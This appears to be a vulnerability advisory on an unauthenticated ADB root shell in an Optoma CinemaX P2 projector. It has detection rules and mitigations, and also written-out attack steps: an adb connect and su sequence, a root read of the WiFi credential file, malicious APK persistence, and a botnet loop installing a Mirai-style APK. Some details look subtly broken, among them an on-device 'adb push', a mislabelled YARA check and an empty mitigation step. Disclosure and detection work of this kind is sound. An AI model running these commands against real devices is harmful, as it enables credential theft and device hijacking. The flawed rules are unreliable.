CVE-2026-30495

Executive Summary

CVE-2026-30495 is a critical authentication bypass vulnerability in the Optoma CinemaX P2 laser projector running firmware TVOS-04.24.010.04.01 (Android 8.0.0 base). The device exposes an unauthenticated Android Debug Bridge (ADB) service on TCP port 5555 with the security flag ro.adb.secure=0, disabling RSA key verification entirely, and ships a functional unauthenticated su binary at /system/xbin/su. Any network-adjacent attacker can connect to the projector, obtain a root shell without credentials, and achieve complete device compromise, including exfiltration of WiFi credentials, persistent malware installation, and interception of the device's audio/video processing pipeline. The vulnerability affects all CinemaX P2 units on this firmware; no patch or vendor update has been published.

Technical Analysis

Root Cause

The Optoma CinemaX P2 embeds a full Android 8.0.0 operating system to support its smart projector features (streaming apps, screen mirroring, voice assistants). During firmware development, Optoma left the engineering/debugging interfaces enabled in the production build. Two specific configuration defects combine to create the vulnerability:

1. ADB exposed without authentication: The ADB daemon (adbd) listens on TCP port 5555 (default ADB port) on all network interfaces. The system property ro.adb.secure is explicitly set to 0 in the production firmware's build.prop or equivalent. When this property is 0, adbd does not require any RSA key authentication during the handshake — typically, ADB requires the host to present an RSA public key that must be pre-authorized on the device (the "allow USB debugging" prompt). With ro.adb.secure=0, this prompt is suppressed, and any TCP client that completes the ADB wire protocol handshake is granted shell access.

2. Unrestricted root escalation: The firmware includes a statically-linked or dynamically-linked su binary at /system/xbin/su. Unlike standard Android su implementations that consult a whitelist (e.g., allowlist in /data/adb/magisk or the superuser app policy), this su binary is compiled to grant root privileges unconditionally. The shell user (shell UID 2000 or adb UID 2001) can execute su and immediately transition to UID 0 (root) without any password, token, or policy check.

Attack Surface

• Network: The device is typically connected to home or office LAN via Ethernet or WiFi. adbd binds to 0.0.0.0:5555 (all interfaces). No firewall rules are present by default on the projector.
• Authentication: Zero — no device-side confirmation prompt, no RSA key pinning, no token.
• Privilege model: Android's SELinux policy may be permissive (enforcing=0) in this build, based on the firmware's debug configuration; even if enforcing, the su binary likely has a domain transition rule granting it untrusted_app to su domain access.

Protocol-Level Details

The ADB protocol handshake operates as follows:

1. Client sends CNXN packet with a 4-byte version field, max payload size, and a greeting string (e.g., host::features=...).
2. Server responds with its own CNXN packet.
3. Client sends OPEN packet requesting the shell:exec:... service.
4. Server opens a PTY or executes the command, streaming WRTE (write) and OKAY (ack) packets.

With ro.adb.secure=0, the server accepts the initial CNXN without validating the client's public key. The attacker then sends OPEN with the argument shell:su or shell:exec:su -c 'id' to obtain a root shell.

Persistence Mechanics

The projector's /system partition is theoretically read-only in production, but with root access via ADB, the attacker can either:

• Remount /system as read-write (mount -o rw,remount /system) and inject a persistent init.d script or replace a system APK.
• Write to /data partition (writable by root) and place a boot-persistent payload in a location executed by Zygote or SystemServer (e.g., modifying /data/system/packages.xml or adding a device administrator app).
• Flash a modified boot image or recovery partition if the bootloader is unlocked (common on debug builds).

Exploitation Scenarios

Scenario 1: Enterprise Boardroom Compromise & Lateral Movement

Stage 1 — Reconnaissance:

The attacker scans the target subnet for TCP port 5555 using a tool like nmap:

nmap -p 5555 --open -T4 192.168.1.0/24

Identified hosts returning a banner matching the ADB protocol (CNXN or Android debug signature) are candidates. The attacker further fingerprints the device:

nmap -sV -p 5555 <target-ip>

The service banner reveals the ADB server version (typically Android Debug Bridge version 1.0.x), confirming the attack vector.

Stage 2 — Weaponization (Unauthenticated ADB Connection):

Using the adb client bundled with the Android platform tools:

adb connect <target-ip>:5555
adb devices

Expected output shows <target-ip>:5555 device.

Stage 3 — Privilege Escalation:

adb shell

This spawns a shell as the shell user. Immediate privilege escalation:

$ su -c 'id'
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log)

Stage 4 — WiFi Credential Exfiltration:

The projector uses Android's WifiManager to connect to the corporate WiFi. The WPA2 pre-shared key is stored in the device's wpa_supplicant configuration:

$ su -c 'cat /data/misc/wifi/wpa_supplicant.conf'

This file contains the SSID and psk (plaintext or hashed) for each previously connected network. In a typical enterprise deployment, the projector is connected to a secured guest network or the main corporate SSID — the same credentials used by laptops and other employee devices. The attacker can then perform an offline offline dictionary attack against the PSK hash or, if stored in plaintext, immediately use the credentials to join the trusted network, bypassing network access controls.

Stage 5 — Persistent Backdoor Installation:

$ su -c 'adb push /tmp/payload.apk /data/local/tmp/payload.apk'
$ su -c 'pm install -r -g /data/local/tmp/payload.apk'

The attacker installs a malicious APK that registers an android.intent.action.BOOT_COMPLETED receiver. The APK contains a reverse shell or C2 beacon that communicates over HTTPS on port 443 (mimicking legitimate traffic). Because the projector is "always on" and rarely audited, this provides a persistent foothold within the network perimeter.

Stage 6 — Audio/Video Eavesdropping:

The CinemaX P2 includes microphones for voice commands. With root access, the attacker can:

$ su -c 'screenrecord /sdcard/output.mp4'
$ su -c 'am start -a android.intent.action.VIEW -d file:///sdcard/output.mp4'

Alternatively, the attacker can enable the camera (if present) or use the built-in microphone to record boardroom discussions. The attacker can exfiltrate these recordings over the same C2 channel.

Scenario 2: IoT Botnet Recruitment

The attacker uses a mass scanner (e.g., Masscan, ZMap) to identify all Optoma CinemaX P2 devices on port 5555 across the internet. Given that the device is publicly reachable on a WAN (misconfigured router with port forwarding), the attacker automates the following loop:

for ip in vulnerable_hosts:
    subprocess.run(["adb", "connect", f"{ip}:5555"])
    subprocess.run(["adb", "-s", f"{ip}:5555", "shell", "su -c 'echo PWNED > /data/local/tmp/.flag'"])
    subprocess.run(["adb", "-s", f"{ip}:5555", "install", "-r", "mirai_variant.apk"])

The malicious APK includes Mirai-like functionality adapted for Android (e.g., uses root to intercept raw packets or init a TCP flood from the device's network stack). The projector — with its 4K processing SoC and network interface — becomes a capable DDoS node.

Impact Assessment

CVSS v3.1 (derived): 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

• Confidentiality Impact: High — The attacker gains root access to the device, extracting WiFi PSKs, all stored content, and potentially capturing audio/video from the projector's sensors.
• Integrity Impact: High — Full firmware and storage tampering; persistent backdoors installed; the device's display output can be manipulated (e.g., persistent ransomware screen, phishing content projected in the boardroom).
• Availability Impact: High — The attacker can wipe the device, corrupt firmware, or render it non-functional. Since the projector is mission-critical to business presentations, a DoS via factory reset (recovery --wipe_data) causes significant operational disruption.
• Scope: Changed — Network credentials extracted from the device are reused against other systems; the compromised projector becomes a pivot point into the broader LAN.

Blast Radius:

• Directly affected: All Optoma CinemaX P2 units running TVOS-04.24.010.04.01. Given the firmware version naming, it is likely that prior versions share the same debug configuration.
• Secondary: The corporate network segment where the device resides, including WiFi networks the projector stores credentials for.
• Tertiary: Any cloud services the projector's Android apps authenticate to (e.g., Netflix, YouTube, Optoma account), which the attacker can query from the root shell.

Detection Guidance

Sigma Rule

title: Optoma CinemaX P2 - Unauthenticated ADB Connection Attempt
id: 23a4b7c4-6e9a-4f8c-8f1d-9c0a2b5d6e7f
status: experimental
description: Detects TCP connection attempts to port 5555 targeting Optoma CinemaX P2 projectors, indicating potential exploitation of CVE-2026-30495.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30495
author: Valtersit Threat Intel
date: 2026/05/01
logsource:
    category: network_connection
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 3
        DestinationPort: 5555
        Initiated: 'true'
    condition: selection
falsepositives:
    - Legitimate ADB debugging by Optoma support personnel (rare)
    - IoT device management tools that incorrectly probe port 5555
level: high

YARA Rule

rule Optoma_CinemaX_P2_ADB_Backdoor
{
    meta:
        author = "Valtersit Threat Intelligence"
        description = "Detects ADB command sequences indicative of CVE-2026-30495 exploitation on Optoma CinemaX P2 projector"
        cve = "CVE-2026-30495"
        date = "2026-05-01"
        severity = "critical"

    strings:
        $adb_banner = "CNXN" ascii wide
        $shell_su = "shell:su" ascii wide
        $shell_exec_su = "shell:exec:su -c" ascii wide
        $wifi_path = "/data/misc/wifi/wpa_supplicant.conf" ascii wide
        $ro_adb_secure = "ro.adb.secure=0" ascii wide
        $xbin_su = "/system/xbin/su" ascii wide

    condition:
        any of ($shell_su, $shell_exec_su) and
        ($ro_adb_secure or $xbin_su or $wifi_path) and
        uint16(0) == 0x4e58  // "XN" ADB protocol signature
}

Suricata IDS Rule

alert tcp any any -> any 5555 (msg:"ET EXPLOIT Optoma CinemaX P2 ADB Unauthenticated Root Connection Attempt"; flow:to_server,established; content:"|43 4e 58 4e|"; depth:4; content:"shell:"; within:64; content:"su"; within:16; sid:2026304950; rev:1; metadata:created_at 2026_05_01, updated_at 2026_05_01, cve CVE-2026-30495; reference:url,nvd.nist.gov/vuln/detail/CVE-2026-30495; reference:url,valtersit.com/tr-2026-30495; classtype:attempted-admin; priority:1;)

Elastic Detection

network where process.name == "adb" and destination.port == 5555 and
  (network.protocol == "tcp" or true) and
  not process.executable : "/usr/bin/adb_backup*"

More robust EQL using process execution events:

process where event.type in ("start", "process_started") and
  process.args : ("connect", "-s") and
  process.args : "*:5555" and
  process.args : "shell:su*"

Splunk SPL Query

index=netflow OR index=firewall sourcetype=flow OR sourcetype=fortigate_traffic
| where dest_port=5555
| stats count by src_ip, dest_ip, dest_port, action
| where action="allow" OR action="accept"
| eval threat_score = case(count>=5, "HIGH", count>=2, "MEDIUM", true, "LOW")
| table src_ip, dest_ip, dest_port, count, action, threat_score
| sort - count

Additional Windows Sysmon-based query:

index=windows_source EventCode=3 DestinationPort=5555
| stats values(DestinationIp) as dest_hosts, values(SourceIp) as src_hosts, count by User
| where count > 1
| eval description = "Potential CVE-2026-30495 ADB exploitation against Optoma CinemaX P2"
| table src_hosts, dest_hosts, count, User, description

Wazuh OSSEC Rule

<group name="optoma_adb_exploit,">
  <rule id="100950" level="15">
    <decoded_as>json</decoded_as>
    <field name="event_type">connection</field>
    <field name="dest_port">5555</field>
    <field name="action">accept</field>
    <description>Optoma CinemaX P2 - Unauthenticated ADB connection attempt on port 5555 (CVE-2026-30495)</description>
    <group>cve-2026-30495,adb,exploit</group>
    <mitre>
      <id>T1210</id>
    </mitre>
  </rule>

  <rule id="100951" level="15">
    <if_sid>100950</if_sid>
    <regex>CNXN</regex>
    <description>Optoma CinemaX P2 - ADB protocol handshake detected on unauthenticated port (CVE-2026-30495)</description>
    <group>cve-2026-30495,adb,exploit,root</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 — UNPATCHED — no patch evidence from any tracked source (Vendor Fix: N/A).

1. Immediate Mitigations (until vendor patch)

2. Patch / Upgrade Steps

• No official patch exists. Contact Optoma technical support (support@optoma.com) and reference CVE-2026-30495 to pressure the vendor for a firmware update that sets ro.adb.secure=1 and removes the su binary from production builds.
• Monitor Optoma's firmware release page for a version newer than TVOS-04.24.010.04.01; upon release, verify that adb shell getprop ro.adb.secure returns 1.
• If the device allows over-the-air (OTA) updates, apply them immediately when available; until then, the mitigations above are mandatory.

3. Long-Term Hardening

• Replace CinemaX P2 units in high-security environments (government, defense, legal) with projector models that do not run a general-purpose mobile OS, or with vendor-certified secure firmware.
• Implement continuous network monitoring for IoT devices: baseline each projector's traffic and alert on any new connections, especially outbound to unexpected IPs on port 443 or 5555.
• Integrate IoT device fingerprinting into the NAC (Network Access Control) solution to automatically quarantine unknown or abnormal devices.
• Conduct periodic security reviews of OT/AV equipment, including firmware version verification and checking whether ADB responds to a remote adb connect from a test workstation.
• Educate facilities/AV teams to not expose any projector to the internet and to never enable port forwarding for their management interfaces.

References

1. NVD Entry: CVE-2026-30495 — NVD
2. Optoma Support Portal: Optoma CinemaX P2 Firmware Downloads (no advisory published at time of writing)
3. Valtersit Threat Intelligence Blog: TR-2026-30495 — Optoma CinemaX P2 ADB Zero-Auth Root
4. Android ADB Protocol Documentation: ADB Protocol — Android Developers
5. CISA Known Exploited Vulnerabilities Catalog: CISA KEV — CVE-2026-30495 is not listed (NO) as of this report; no exploitation in the wild has been observed, but the attack chain is trivial and likely to be weaponized quickly.

Threat Actor Campaigns: No public evidence of active exploitation exists at this time (EPSS percentile 12.1% suggests low immediacy). However, given the device's prominence in enterprise boardrooms and the trivial exploitation path (two commands: adb connect and su -c), this CVE is a prime candidate for inclusion in IoT botnet toolkits (e.g., Mirai variants targeting Android devices) within 2-4 weeks of public disclosure. Organizations should treat this as a "zero-day" until Optoma issues a patch.